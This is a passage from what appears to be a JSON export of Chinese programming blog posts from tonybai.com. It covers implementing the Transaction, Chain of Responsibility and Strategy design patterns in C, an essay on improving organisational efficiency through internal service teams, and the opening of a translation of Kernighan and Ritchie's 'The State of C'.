NULL;\nint ret = 0;\nAPR_RING_FOREACH(op, \u0026amp;(this-\u0026gt;ops), operation_pair, link) {\nif (op) {\nif (op-\u0026gt;do_func) {\nret = op-\u0026gt;do_func(arg);\nif (ret) {\nthis-\u0026gt;op = op;\nreturn ret;\n}\n}\n}\n}\nreturn ret;\n}\nstatic int ftp_upload_transaction_unexecute(struct transaction_unit_t *tu, void *arg) {\nstruct ftp_upload_transaction_unit_t *this = (struct ftp_upload_transaction_unit_t*)tu;\noperation_pair *op = this-\u0026gt;op;\nif (!op)\nreturn 0;\ndo {\nif (op-\u0026gt;undo_func) {\nop-\u0026gt;undo_func(arg);\n}\nop = APR_RING_PREV(op, link);\n} while(op \u0026amp;\u0026amp; (op != APR_RING_SENTINEL(\u0026amp;(this-\u0026gt;ops), operation_pair, link)));\nreturn 0;\n}\n/* main.c */\nint ftp_upload_file(struct upload_request *r) {\nint ret;\nstruct transaction_unit_t *tu = ftp_upload_transaction_unit_new();\n/* 事务开始 */\nret = tu-\u0026gt;execute(tu, (void*)r);\nif (ret)\ntu-\u0026gt;unexecute(tu, (void*)r);\n/* 事务结束 */\nreturn ret;\n};\nint main(int argc, const char *argv[])\n{\nstruct upload_request r = {\u0026ldquo;foo.txt\u0026rdquo;, \u0026ldquo;10.10.12.123\u0026rdquo;, \u0026ldquo;incoming/txt\u0026rdquo;};\nreturn ftp_upload_file(\u0026amp;r);\n}\n代码有些长，所以省略了destroy等一些非关键性的实现代码。这里将事务模式的基本接口抽象为transaction_unit，而ftp_upload_transaction_unit则是transaction_unit接口的一个实现，它通过一个环形链表来组织由事务处理函数(do_func)以及对应事务回滚函数(undo_func)组成的操作单元。沿着链表正向遍历，即执行事务处理操作集合；一旦某个事务操作出现异常，便改为沿着链表反向遍历，即执行事务回滚操作集合，这样也就实现了一种具体的事务模式。\n注意：这里仅是一种事务模式的实现思路，但其实现是否符合事务的要求还不一定，要给出一个完备的事务实现可并非易事，实现FTP上传事务更非易事。\n原本设计模式的C实现系列文章在上一篇《Chain of Responsibility模式的C实现》之后就应该嘎然而止的，但变化总比计划快，于是就有了这篇文章。\n","permalink":"https://tonybai.com/2011/11/04/implement-transaction-pattern-in-c/","summary":"\u003cp\u003e提到Transaction模式(即事务模式)，很多人会感到陌生。这并不奇怪，在大名鼎鼎的GoF的《\u003ca href=\"http://book.douban.com/subject/1052241\"\u003eDesign Pattern\u003c/a\u003e》一书中，它仅仅是\u003ca href=\"http://en.wikipedia.org/wiki/Command_pattern\"\u003eCommand模式\u003c/a\u003e的别名罢了。不过在实际的开发中，我们却经常会遇到可以应用事务模式的场景。本文可以理解成Command模式在事务领域的应用，但这样说有些麻烦，我们莫不如直接称之为Transaction模式。\u003c/p\u003e\n\u003cp\u003e与前几篇\u003ca href=\"http://tonybai.com/tag/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F\"\u003e设计模式C实现系列\u003c/a\u003e文章一样，这篇文章也源于对实际问题的思考和总结。这次的问题是这样的：我们的业务系统实现了一个ftp上传文件的功能，其v1版代码的结构简化后大致如下：\u003c/p\u003e\n\u003cp\u003eint ftp_upload_file(const char *filename, const remote_server_desc *desc) {\u003cbr\u003e\n    int ret;\u003c/p\u003e","title":"Transaction模式的C实现"},{"content":"当前任何一个组织 — 无论是私企，还是国企，无论是政府还是民间组织，无论是在国内还是在国外 — 都在强调提高效率。但\u0026quot;提高效率\u0026quot;不简单是一句口号，还需要脚踏实地的真正去做。\n说到\u0026quot;提高效率\u0026quot;，大家首先就会想到工作的行为主体-人！促进人员能力的提升是提升个体工作效率的一个很好的办法。在软件开发领域也有一个公认的事实，那就是一个顶尖程序员的效率可以十倍甚至百倍于一个普通程序员。为此，很多组织都投入巨资引入各种针对个体能力提升的培训和咨询，试图以此提升全体人员的效率。我们不能否认这种方法的效果，但从实际情况来看，似乎效果有限，特别是对组织整体效率的提升效果有限，因为组织内不可能都是由领域顶尖人员组成的，即使接受培训，大部分人员也不会成为顶尖级，其水平还是处于平均线的。这就是摆在我们面前的一个现实，我所在的组织同样也面临着同样的问题，这也促使我进行了一些较为深入的思考。\n那么除了个体能力提升之外，我们还应当如何提升组织的整体效率呢？\n提高效率，首先要做好\u0026quot;认知\u0026quot;，找到方向。即知道什么工作决策和行为是有利于提高效率的，什么样的决策和行为是无助于提高效率或是导致无用功。以现阶段比较火的物流快递行业为例，科学地选择送货路线无疑是提高整体效率的一个好方法，即能节省时间，还能节省交通燃油成本，缩短送货时间，提高服务质量。如果你作为快递公司的老总，你的决策应该是：建立一套高智能的选路系统，以帮助每个快递员快速完成送货任务。在软件开发领域，人们一直以来都在做着探索，努力地瞄准正确的方向前行。特别是近些年来，软件开发借鉴其他传统产业的生产经验，试图通过消除开发过程中的浪费来提升整体开发效率。什么是软件开发领域的浪费呢？广义的讲，对开发团队而言，不能卖钱的工作都是浪费；对于客户而言，不能给客户带来价值的工作都是浪费。传统行业(比如汽车制造业)用事实证明，浪费现象只能尽量减少，但无法完全杜绝。但浪费是否是完全没有意义的呢？有些\u0026quot;浪费“对组织的发展壮大还是有裨益的，比如建立企业内部知识库等。OK，我们似乎找到了软件领域提升组织整体效率的方向，那就是要尽量减少那些既不能给客户带来直接价值，也无法给我们自身带来经济利益，对组织的发展壮大也无多大贡献的浪费。\n提高效率，还要了解个体的行为特征。我们应该了解所在行业从业人员的行为效率曲线。理想的情况是让大家始终都能处于自己的高效率区间。俗话说，术业有专攻。快递员在挨家串户送货时效率是最高的；软件开发人员在设计、编码和调试时效率是最高的；文案人员在编写文档时的效率是最高的，等等。如果让每个快递员自己优化送货路线、让每个软件开发人员自己做集成构建，环境搭建、调试和测试、让文案人员自己负责后期的装订和印刷，那低效率就不可避免。说白了就是让大家都去做且一直在做自己最擅长的事情，这样才能尽量发挥出个体的效率，才有益于组织整体效率的提升。\n有了上面两个方面作为前提，我们就可以得到一种切实可行的提升组织整体效率的方法，那就是推进组织内部服务的建设。什么是\u0026quot;内部服务\u0026quot;？简单来说，就是组织内部一部分人员的工作就是为其他人提供服务，至于服务的内容因行业的不同而不同。\u0026ldquo;内部服务\u0026quot;可以从全局角度主动地推动个体效率提升。从个体行为上来看，内部服务可以剥离大多数个体所不擅长的事情，让大多数个体长期处在高效率区间，后期将这些大家不擅长的事情以服务或基础设施的形式科学地且用户界面友好地提供给大家，让大家可以高效地或自动化地使用。这就是\u0026quot;内部服务\u0026quot;的原理所在。注意，与在培训和咨询等过程中，组织内人员需主动学习和主动提高效率不同，通过内部服务的建设和提升，组织内人员是在不知不觉中\u0026quot;被提升了效率\u0026rdquo;，也避免了因人员能力参差不齐，效果因人而异的问题，这是其最大魅力。\n个人觉得实施内部服务建设有以下几个关键要素：\n- 细分工作，识别出基础服务。即找出可以作为服务的工作内容。还是以软件开发领域为例，系统管理小组和版本构建小组的工作内容就可以作为提供给其他人的基础服务。\n- 按工作内容调整团队组织。即将组织划分为若干基础服务团队，以及其他非提供内部服务的产品团队；明确内部服务团队的职责范围以及与其他团队的接口方式。\n- 基于内部服务改造工作流程。将内部服务放入工作流程中，让成果物在各个团队间高效流动，甚至可以在一定程度上简化原有工作流程。\n在人员有限的前提下，内部服务团队也可以是虚拟团队，不过这样做就会导致内部服务工作的优先级在工作极其繁忙时被降低，可能会导致浪费现象在后续显现出来。内部服务的概念也是分工细化思想的延伸，也许它并不适合一些人员规模较小的startup，但却适合那些规模已经扩大但效率却没有明显提升的组织。\n在软件开发领域，我们很容易识别出很多基础服务，诸如服务器/虚拟化环境支持服务、公共库开发团队、测试工具的开发服务、构建与持续集成服务、自动化测试支持服务、文案服务等。越来越多的自动化框架和工具(比如puppet、jenkins、buildbot等)也让内部服务团队可以不必具有很大规模，而且可以使得服务团队自身的工作也颇为高效。另外内部服务团队还便于将一些致力于消除浪费、提高效率的思想(诸如持续交付、DevOps)快速地转化为具体的工作方法和实践。\n总之，提高效率是一个极其重要的事，甚至是直接关乎于真金白银的事。一个组织应着眼于全局思考、规划和落实提高效率的具体措施。如果一个组织现在依然将提高效率停留在喊口号的层次上，那若干年后，这个组织剩下的也就仅是那句口号罢了。\n","permalink":"https://tonybai.com/2011/10/31/improving-efficiency-should-not-only-be-a-slogan/","summary":"\u003cp\u003e当前任何一个组织 — 无论是私企，还是国企，无论是政府还是民间组织，无论是在国内还是在国外 — 都在强调提高效率。但\u0026quot;提高效率\u0026quot;不简单是一句口号，还需要脚踏实地的真正去做。\u003c/p\u003e","title":"提高效率不是口号"},{"content":"又是一个行为类的模式，似乎这类模式在使用C语言开发的项目中适应性更强，而另外两类模式创建型和结构型则略显不受待见^_^。\nChain of Responsibility模式（中文名：职责链模式）是一个不算复杂的模式。虽不复杂，但用好了同样可以解决大问题。个人觉得其最大的好处就在于可以动态地重组针对一类对象的处理流程。正是得益于这一优势，它才可以在纷繁芜杂的业务领域站稳脚跟。\n我们遇到的问题是这样的：有一类消息需要我们的系统处理，消息在系统入口处需经过种种业务层面上的校验，只有通过所有校验的消息才被允许进入到我们的系统中并被视为合法的消息。针对来自不同企业的消息，系统在入口处的校验规则是不同的，对于信用度较高的企业，系统实施的校验较少；而对于信用度不高的企业或新签约企业来说，其校验规则就相对多些；随着企业的信用度的变化，系统也会自动地调整对其下发消息的校验规则集。\n最初关于这个部分的系统伪码大致是这样的：\nint check_msg(corp_info, msg) {\nif (corp_info-\u0026gt;need_check_source) {\nif (FAILED == check_source(msg))\nreturn xx;\n}\nif (corp_info-\u0026gt;need_check_destination) {\nif (FAILED == check_destination(msg))\nreturn xx;\n}\nif (corp_info-\u0026gt;need_check_priority) {\nif (FAILED == check_priority(msg))\nreturn xx;\n}\nif (corp_info-\u0026gt;need_check_content) {\nif (FAILED == check_content(msg))\nreturn xx;\n}\nreturn 0;\n}\n在check_msg外部，系统根据企业的信用度设置corp_info中的多个check feature开关，诸如need_check_source、need_check_content等，从而使得check_msg内部可以根据企业的不同feature开关情况，对企业发送的消息实施不同的校验规则。\n这里消息校验的请求者与消息校验的处理者具有一定的耦合，另外check_msg中满眼的if语句也让我们的神经为之紧绷！于是我们尝试移除if，尝试降低请求者和执行者之间的耦合。在《设计模式》中我们找到了Chain of Responsibility模式，我们决定试试！\n我们首先定义了handler_t接口：\nstruct handler_t {\nvoid (*set_successor)(struct handler_t *this, struct handler_t *successor);\nstruct handler_t* (*get_successor)(struct handler_t *this);\nint (*handle_request)(struct handler_t *this, void *obj, void *args);\nint type; /* handler类型 */\n};\n接下来，我们根据例子的需要逐个定义该接口的实现：source_checker、destination_checker、priority_checker和content_checker。以source_checker为例：\n/* source_checker.h */\nstruct handler_t* source_checker_new();\nvoid source_checker_destroy(struct handler_t **h);\n/* source_checker.c */\nstruct source_checker_t {\nstruct handler_t h;\nstruct handler_t *successor;\n};\nstatic void _set_successor(struct handler_t *this, struct handler_t *successor) {\nstruct source_checker_t *h = (struct source_checker_t*)this;\nh-\u0026gt;successor = successor;\n}\nstatic struct handler_t* _get_successor(struct handler_t *this) {\nstruct source_checker_t *h = (struct source_checker_t*)this;\nreturn h-\u0026gt;successor;\n}\nstatic int _handle_request(struct handler_t *this, void *obj, void *args) {\nstruct source_checker_t *h = (struct source_checker_t*)this;\nstruct msg_t *msg = (struct msg_t*)obj;\nif (校验失败) /* 伪码 */\nreturn FAILED;\nprintf(“[source_checker]: check msg – [%s]\\n”, msg-\u0026gt;msg_id);\nif (h-\u0026gt;successor)\nreturn (h-\u0026gt;successor-\u0026gt;handle_request(h-\u0026gt;successor, obj, args));\nreturn SUCCESS;\n}\nstruct handler_t* source_checker_new() {\nstruct source_checker_t *h;\nh = (struct source_checker_t*)malloc(sizeof(*h));\nif (!h) return NULL;\nmemset(h, 0, sizeof(*h));\nh-\u0026gt;h.set_successor = _set_successor;\nh-\u0026gt;h.get_successor = _get_successor;\nh-\u0026gt;h.handle_request = _handle_request;\nh-\u0026gt;h.type = SOURCE_CHECKER;\nreturn (struct handler_t*)h;\n}\nvoid source_checker_destroy(struct handler_t **h) {\nstruct source_checker_t *p = (struct source_checker_t*)(*h);\nif (p) free(p);\n(*h) = NULL;\n}\ndestination_checker、priority_checker和content_checker与source_checker的实现类似，关键在于_handle_request的实现不同。\n现在我们就可以在初始化阶段为不同企业组装不同的业务校验流程了，假设我们有两家企业A和B，A企业下发的消息需要进行全部业务校验，而B企业下发的消息仅需进行source check和destination check：\n/* A企业消息的业务校验链 */\nstruct handler_t *A_destination_checker = destination_checker_new();\nstruct handler_t *A_priority_checker = priority_checker_new();\nstruct handler_t *A_content_checker = content_checker_new();\nstruct handler_t *A_msg_checker = source_checker_new();\nA_msg_checker-\u0026gt;set_successor(A_msg_checker, A_destination_checker);\nA_destination_checker-\u0026gt;set_successor(A_destination_checker, A_priority_checker);\nA_priority_checker-\u0026gt;set_successor(A_priority_checker, A_content_checker);\n/* B企业消息的业务校验链 */\nstruct handler_t *B_destination_checker = destination_checker_new();\nstruct handler_t *B_msg_checker = source_checker_new();\nB_msg_checker-\u0026gt;set_successor(B_msg_checker, B_destination_checker);\n我们可以将msg_checker的放入corp_info中，这样check_msg的新实现如下：\nint check_msg(corp_info, msg) {\nreturn corp_info-\u0026gt;msg_checker-\u0026gt;handle_request(corp_info-\u0026gt;msg_checker, (void*)msg, NULL);\n}\n这样通过A企业下发的消息testAmsg通过check_msg得到的结果是：\n[source_checker]: check msg – [testAmsg]\n[destination_checker]: check msg – [testAmsg]\n[priority_checker]: check msg – [testAmsg]\n[content_checker]: check msg – [testAmsg]\n而B企业下发的消息testBmsg通过check_msg得到的结果则是：\n[source_checker]: check msg – [testBmsg]\n[destination_checker]: check msg – [testBmsg]\n前面说过动态重组针对某一对象的业务流程是职责链模式一大特点。当某企业信用度发生变化时，该企业对应的checker链也会动态修改。比如当企业A信用度增加时，系统将去除其对应的content check流程，去除过程的实现如下：\nstruct handler_t *h = A_msg_checker;\nstruct handler_t *successor = h-\u0026gt;get_successor(h);\nwhile (successor) {\nif (successor-\u0026gt;type == CONTENT_CHECKER) {\nh-\u0026gt;set_successor(h, successor-\u0026gt;get_successor(successor));\nbreak;\n}\nh = successor;\nsuccessor = successor-\u0026gt;get_successor(successor);\n}\n重组校验链后，企业A下发的消息testAmsg通过msg_check得到的结果就变成了：\n[source_checker]: check msg – [testAmsg]\n[destination_checker]: check msg – [testAmsg]\n[priority_checker]: check msg – [testAmsg]\n也许大家也看到了职责链模式的缺点，那就是每增加一个业务处理对象就要增加一个handler_t的具体实现，如诸多xx_checker，在C语言开发中这至少需要一个头文件与一个源文件。但职责链模式对降低请求者与处理者之间的耦合，以及支持职责链的动态重组方面还是会给你带来很大帮助的。是否使用这种模式，需要你自己根据实际情况权衡利弊后做出选择。\n","permalink":"https://tonybai.com/2011/10/25/implement-chain-of-responsibility-pattern-in-c/","summary":"\u003cp\u003e又是一个行为类的模式，似乎这类模式在使用C语言开发的项目中适应性更强，而另外两类模式创建型和结构型则略显不受待见^_^。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"http://en.wikipedia.org/wiki/Chain-of-responsibility_pattern\"\u003eChain of Responsibility\u003c/a\u003e模式（中文名：职责链模式）是一个不算复杂的模式。虽不复杂，但用好了同样可以解决大问题。个人觉得其最大的好处就在于可以动态地重组针对一类对象的处理流程。正是得益于这一优势，它才可以在纷繁芜杂的业务领域站稳脚跟。\u003c/p\u003e","title":"Chain of Responsibility模式的C实现"},{"content":"与那些复杂的模式相比，Stragegy Pattern(策略模式)是一个相对简单的模式，很直观，也易于理解。 同时它也是我们在开发过程中使用最多的模式之一。\n问题是设计模式使用的驱动力，只有当我们遇到问题时，设计模式才会向我们伸出援助之手。这里我也想通过对问题以及解决方法演化的阐述来说明策略模式是如何更好地帮助我们的。我们从问题出发！\nTony最近接到了一个新任务，任务的内容是实现一个通用的平衡二叉树数据结构供其他同事使用。接到这个任务后，他十分欣喜，因为在之前的工作中他一直在用C语言编写繁芜复杂的业务逻辑，这让他感觉很烦躁。今天他终于盼到了一个做公共库的机会。为此Tony连夜拜读了《C语言接口与实现》一书，希望能从书中取点经，做出一个让大家都满意的通用的平衡二叉树。\nTony十分欣赏《C语言接口与实现》中采用的一些原则，比如尽量隐藏细节，只给外部暴露必要的信息等。他也是按照书中的原则来定义平衡二叉树的各个操作接口的。但在定义接口的过程中Tony却遇到了问题，以平衡二叉树的创建和销毁接口为例，Tony最初设计的接口原型是这样的：\n/* balanced_binary_tree.h */\n… …\nstruct bb_tree_t;\nint bb_tree_create(struct bb_tree_t **tree, …);\nint bb_tree_destroy(struct bb_tree_t **tree, …);\n… …\n/* balanced_binary_tree.c */\nstruct bb_tree_t {\n…\n};\n… …\n很显然，为了隐藏细节，Tony选择了在接口实现内部为tree分配和释放内存空间，但他不确定应该用哪种内存分配方式。他经过一番思维斗争后最终选择了使用标准库中的malloc和free，因为他坚定地认为多数人都会使用这套标准的内存管理接口，例外的可能性很小。后续的实现过程很顺利，当这套\u0026quot;设计优美\u0026quot;的平衡二叉树公共库被提交给其他同事使用时，Tony感觉十分地开心。\n/* balanced_binary_tree.c */\nint bb_tree_create(struct bb_tree_t **tree, …) {\nstruct bb_tree_t *p = (struct bb_tree_t*)malloc(sizeof(*p));\n…\n}\nint bb_tree_destroy(struct bb_tree_t **tree, …) {\nfree(*tree);\n… …\n}\n不过墨菲定律告诉我们：事情如果有变坏的可能，不管这种可能性有多小，它总会发生。果然好景不长，这一天一位同事找到了Tony并向他诉苦到：\u0026ldquo;我们需要在共享内存上使用平衡二叉树，但你提供的bb_tree只能在堆上分配内存，无法被多个进程共享，我们真不知道该怎么办了，不知道你能否修改一下你提供的库，让它也支持在共享内存上分配呢\u0026rdquo;。Tony是个自尊心很强的人，听到自己提供的公共库有缺陷，他的心中只有一个念头：尽快解决这个问题！\nTony回到座位上开始重新审视自己的设计，他满脑子都是\u0026quot;既要支持标准内存分配接口，又要支持在共享内存上分配\u0026quot;的需求。在考量了十几分钟后，他似乎知道该怎么做了，他在屏幕上敲下了如下代码：\n/* balanced_binary_tree.h */\n… …\nstruct bb_tree_t;\nenum mem_allocator_flag {\nSTD_ALLOCATOR,\nSHM_ALLOCATOR\n};\nint bb_tree_create(struct bb_tree_t **tree, enum mem_allocator_flag flag, …);\nint bb_tree_destroy(struct bb_tree_t **tree, …);\n… …\n/* balanced_binary_tree.c */\nstruct bb_tree_t {\n…\nenum mem_allocator_flag flag;\n};\nint bb_tree_create(struct bb_tree_t **tree, enum mem_allocator_flag flag, …) {\n… …\nstruct bb_tree_t *p\nif (flag == STD_ALLOCATOR)\np = (struct bb_tree_t*)malloc(sizeof(*p));\nif (flag == SHM_ALLOCATOR)\np = (struct bb_tree_t*)shm_malloc(sizeof(*p));\np-\u0026gt;flag = flag;\n… …\n}\nint bb_tree_destroy(struct bb_tree_t **tree, …) {\n… …\nif ((*tree)-\u0026gt;flag == STD_ALLOCATOR)\nfree(*tree);\nif ((*tree)-\u0026gt;flag == SHM_ALLOCATOR)\nshm_free(*tree);\n… …\n}\n嗯，这样改后就应该支持在共享内存上分配平衡二叉树了。Tony似乎又恢复了信心,表情也不再那么死板严肃了！他伸伸懒腰，感觉有些疲倦，于是他决定趴在办公桌上小憩一会儿。恍惚中一个同事来到了他的跟前，对他说：\u0026ldquo;Tony，标准内存分配接口使用的内存分配算法效率太低，时间长了又会导致太多的内存碎片，完全不能满足我们的需求，我们希望能在平衡二叉树中使用我们自己实现的一套高性能内存分配接口，你必须尽快做出修改，不然….\u0026quot;。Tony瞬间从梦中惊醒，他努力地回忆了一下刚才梦中的情景，又看了看屏幕上刚刚修改过的代码，心生一丝窃喜，\u0026ldquo;还好这只是一场梦，否则这份代码又要被人嘲笑了。内存管理的接口有N多种，我总不能每支持一种新分配算法就重新发布一次吧\u0026rdquo;。Tony又一次陷入了沉思。不过这次沉思显然也没有持续多久，Tony似乎又找到了解决方案，屏幕上的代码发生了变化。\n/* balanced_binary_tree.h */\n… …\nstruct bb_tree_t;\nint bb_tree_create(struct bb_tree_t **tree,\nvoid (*malloc_func)(size_t size),\nvoid (*free_func)(void *ptr), …);\nint bb_tree_destroy(struct bb_tree_t **tree, …);\n… …\n/* balanced_binary_tree.c */\nstruct bb_tree_t {\n…\nvoid (*malloc_func)(size_t size),\nvoid (*free_func)(void *ptr)\n};\nint bb_tree_create(struct bb_tree_t **tree,\nvoid (*malloc_func)(size_t size),\nvoid (*free_func)(void *ptr), …) {\nstruct bb_tree_t *p = (struct bb_tree_t*)malloc_func(sizeof(*p));\np-\u0026gt;malloc_func = malloc_func;\np-\u0026gt;free_func = free_func;\n… …\n}\nint bb_tree_destroy(struct bb_tree_t **tree, …) {\n(*tree)-\u0026gt;free_func(*tree);\n… …\n}\n这回Tony把使用何种存储分配机制的权力完完全全地交给了库的使用者，这样纵使内存分配机制有千般变化，这里也依旧可以满足。不过这次Tony还是长了个心眼儿，没有马上将库发布给其他同事，而是从优秀代码设计的角度再次对自己的代码做了一次分析。\nTony暂时抛开了bb_tree，而是从所有类似的公共库的设计和实现角度考虑了许久。他发现如果公共库的设计都遵循将细节隐藏，只暴露必要信息的原则的话，势必都会遇到类似的如何在内部进行存储分配的问题。bb_tree使用到了malloc和free接口，但其他公共库很可能还会用到calloc、realloc等接口。一旦遇到这种情况，按照上面的方案就会出现类似下面的函数原型形式：\nint xx_create(…,\nvoid (*malloc_func)(size_t size),\nvoid (*calloc)(size_t nmemb, size_t size),\nvoid (*realloc)(void *ptr, size_t size),\nvoid (*free_func)(void *ptr)…);\nTony意识到这个函数原型参数太多，使用不便，代码味道自然不好！应该重构一下，将变化的事物封装起来。综上来看，目前主要有两点易变的地方：\n内存分配接口需支持可替换 不同公共库可能使用不同形式的内存分配接口，有的用符号malloc原型的，有的用符合calloc原型的。 \u0026ldquo;封装变化！\u0026quot;，Tony潜意识里跳出的第一个想法。于是十几分钟过后他的电脑屏幕上就出现了下面这些代码：\n/* mem_allocator.h */\nstruct mem_allocator_t {\nvoid (*malloc)(struct mem_allocator_t *allocator, size_t size),\nvoid (*calloc)(struct mem_allocator_t *allocator, size_t nmemb, size_t size),\nvoid (*realloc)(struct mem_allocator_t *allocator, void *ptr, size_t size),\nvoid (*free)(struct mem_allocator_t *allocator, void *ptr)\n};\n/* balanced_binary_tree.h */\n#include \u0026ldquo;mem_allocator.h\u0026rdquo;\n… …\nstruct bb_tree_t;\nint bb_tree_create(struct bb_tree_t **tree,\nconst struct mem_allocator_t *allocator, …);\nint bb_tree_destroy(struct bb_tree_t **tree, …);\n… …\n/* balanced_binary_tree.c */\nstruct bb_tree_t {\n…\nconst struct mem_allocator_t *allocator;\n};\nint bb_tree_create(struct bb_tree_t **tree,\nstruct mem_allocator_t *allocator, …) {\nstruct bb_tree_t *p = (struct bb_tree_t*)(allocator-\u0026gt;malloc(allocator, sizeof(*p)));\np-\u0026gt;allocator = allocator;\n… …\n}\nint bb_tree_destroy(struct bb_tree_t **tree, …) {\nstruct mem_allocator_t *allocator = (*tree)-\u0026gt;allocator;\nallocator-\u0026gt;free(allocator, *tree);\n… …\n}\nTony封装出一个接口mem_allocator_t，bb_tree的创建和销毁只依赖于mem_allocator_t。我们可以为bb_tree_create传入不同的mem_allocator_t接口的实现，以支持内存分配机制的更换；另外mem_allocator_t内部封装了所有形式的通用的内存管理原型，可以满足其他公共库实现的需要。\n面向对象语言可以通过继承(derive)接口、重写方法(override method)的方式实现一个接口，但在C中，我们只能像下面这样给出mem_allocator_t接口的一个实现 – shm_mem_allocator：\n/* shm_mem_allocator.h */\n#include \u0026ldquo;mem_allocator.h\u0026rdquo;\nstruct mem_allocator_t* shm_mem_allocator_new();\nvoid shm_mem_allocator_free(struct mem_allocator_t **allocator);\n/* shm_mem_allocator.c */\nstruct shm_mem_allocator_t {\nstruct mem_allocator_t allocator;\n… … /* 其他用于实现shm_mem_allocator所需要的字段 */\n};\nstruct mem_allocator_t* shm_mem_allocator_new() {\nstruct shm_mem_allocator_t *allocator = (struct shm_mem_allocator_t*)malloc(sizeof(*allocator));\nif (!allocator)\nreturn NULL;\nmemset(allocator, 0, sizeof(*allocator));\nallocator-\u0026gt;allocator.malloc = shm_mem_alloc;\nallocator-\u0026gt;allocator.calloc = shm_mem_calloc;\nallocator-\u0026gt;allocator.realloc = shm_mem_realloc;\nallocator-\u0026gt;allocator.free = shm_mem_free;\nreturn (struct mem_allocator_t*)allocator;\n}\nstatic void* shm_mem_malloc(struct mem_allocator_t *allocator, size_t size) {\nstruct shm_mem_allocator_t *p = (struct shm_mem_allocator_t*)allocator;\n… …\n}\nstatic void* shm_mem_calloc(struct mem_allocator_t *allocator, size_t nmemb, size_t size) {\nstruct shm_mem_allocator_t *p = (struct shm_mem_allocator_t*)allocator;\n… …\n}\nstatic void* shm_mem_realloc(struct mem_allocator_t *allocator, void *ptr, size_t size) {\nstruct shm_mem_allocator_t *p = (struct shm_mem_allocator_t*)allocator;\n… …\n}\nstatic void shm_mem_free(struct mem_allocator_t *allocator, void *ptr) {\nstruct shm_mem_allocator_t *p = (struct shm_mem_allocator_t*)allocator;\n… …\n}\nvoid shm_mem_allocator_free(struct mem_allocator_t **allocator) {\nstruct shm_mem_allocator_t *p = (struct shm_mem_allocator_t*)(*allocator);\nfree(p);\n(*allocator) = NULL;\n}\n注意shm_mem_allocator本身也涉及到内部实现的内存分配问题，但考虑到其自身的特质：我们无须在共享内存上创建mem_allocator实例对象，也无须为mem_allocator实例对象内部的内存分配算法性能担忧(只是初始化时使用一次)，因此可以无须支持多种内存分配接口，利用标准内存分配接口足矣。\n下面是将bb_tree与shm_mem_allocator结合在一起使用的代码：\nstruct bb_tree_t *tree;\nret = bb_tree_create(\u0026amp;tree, shm_mem_allocator_new(), …);\n… …\n如果你要更换bb_tree内部的内存分配器，则在调用bb_tree_create时换用你自己的mem_allocator_t接口实现即可：\nstruct bb_tree_t *tree;\nret = bb_tree_create(\u0026amp;tree, your_mem_allocator_new(), …);\n… …\nTony终于找到了一份可以让自己满意的方案了。在发布代码库后，他再也没有收到来自同事们的抱怨之声。在接下来的一个星期里，Tony又用同样的设计方案让产品可以支持从多种数据库(Oracle、MySQL、Sqlite3等)读取数据。\n后来，Tony在翻阅《设计模式》一书时，发现自己的解决方法与书中描述的“策略模式”甚为类似，简直就是用C语言实现的策略模式，而且这种模式几乎没有什么缺点，除了每增加一种策略（比如新增一种mem_allocator_t接口的实现），就要多维护一种策略的代码，但这样带来的负担与之前相比几乎是可以忽略不计的。\n","permalink":"https://tonybai.com/2011/10/20/implement-strategy-pattern-in-c/","summary":"\u003cp\u003e与那些复杂的模式相比，Stragegy Pattern(\u003ca href=\"http://zh.wikipedia.org/wiki/%E7%AD%96%E7%95%A5%E6%A8%A1%E5%BC%8F\"\u003e策略模式\u003c/a\u003e)是一个相对简单的模式，很直观，也易于理解。 同时它也是我们在开发过程中使用最多的模式之一。\u003c/p\u003e\n\u003cp\u003e问题是设计模式使用的驱动力，只有当我们遇到问题时，设计模式才会向我们伸出援助之手。这里我也想通过对问题以及解决方法演化的阐述来说明策略模式是如何更好地帮助我们的。我们从问题出发！\u003c/p\u003e","title":"Strategy模式的C实现"},{"content":"本文翻译自Dr. Dobb\u0026rsquo;s Journal官网上的一篇由Brian W. Kernighan和Dennis M. Ritchie共同撰写的名为\u0026quot;The State of C\u0026ldquo;的文章。这里谨将此篇译文献给不久前刚刚离我们而去的C语言之父 – Dennis M. Ritchie，愿一代计算机科学巨匠一路走好。\n不再只是为了系统级编程(system programming)\nC是一门通用的计算机编程语言，它最初由贝尔实验室(Bell Labs)的Dennis Rithie于1972年左右设计并实现。C的早期发展与其被用于Unix系统的实现密不可分，终端以及Unix系统上运行的大多数程序都是由C开发的。近些年，C在更为广泛的环境中逐渐流行起来，并且它不再依赖任何操作系统或机器了。\nC最初被设计成一门用于\u0026quot;系统级编程\u0026quot;的语言，也就是说它被用于编写诸如编译器，操作系统以及文本编辑器之类的程序。不过它也已被证明非常适合其他类型程序的开发，包括数据库系统，电话交换系统，数值分析，工程程序以及大规模的字处理软件。今天，C已经成为世界上使用最为广泛的编程语言之一，并且几乎在每台计算机上我们都能看到C语言编译器的身影。\nC的起源\nC源于BCPL语言，后者由Martin Richards于1967年左右设计实现。BCPL是一门\u0026quot;无类型\u0026quot;的编程语言：它仅能操作一种数据类型，即机器字(machine word)。也正因为如此，BCPL特别适合面向机器字的硬件。1970年，Ken Thompson为运行在PDP-7上的首个Unix系统设计了一个精简版的BCPL，这个语言被称为B。它也是无类型的。\n随着PDP-11的出现，下一版Unix也在PDP-11上实现，一个无类型的语言愈发显得不再适合这一硬件。PDP-11提供了多种不同规格大小的基本对象 – 一字节长的字符，两字节长的整型数以及四字节长的浮点数 – B语言无法处理这些不同规格大小的对象，也没有提供单独的操作符去操作它们。\nC语言最初尝试通过向B语言中增加数据类型的想法来处理那些不同类型的数据。和大多数语言一样，在C中，每个对象都有一个类型以及一个值；类型决定了可用于值的操作的含义，以及对象占用的存储空间大小。例如，像int i, j；double d；以及float x这些声明决定了适于变量的操作集以及变量的存储空间需求。在语句d = x + i * j中，编译器使用类型信息确定这个整数乘法适合表达式i * j，但是在其结果与x相加之前，这个结果值必须先转换成一个浮点类型，然后最终的结果在被赋值给d时也必须先转换为双精度浮点类型。\n虽然C最初是在一台PDP-II上实现的，但其早在1975年就开始在其他机器上使用了。Steve 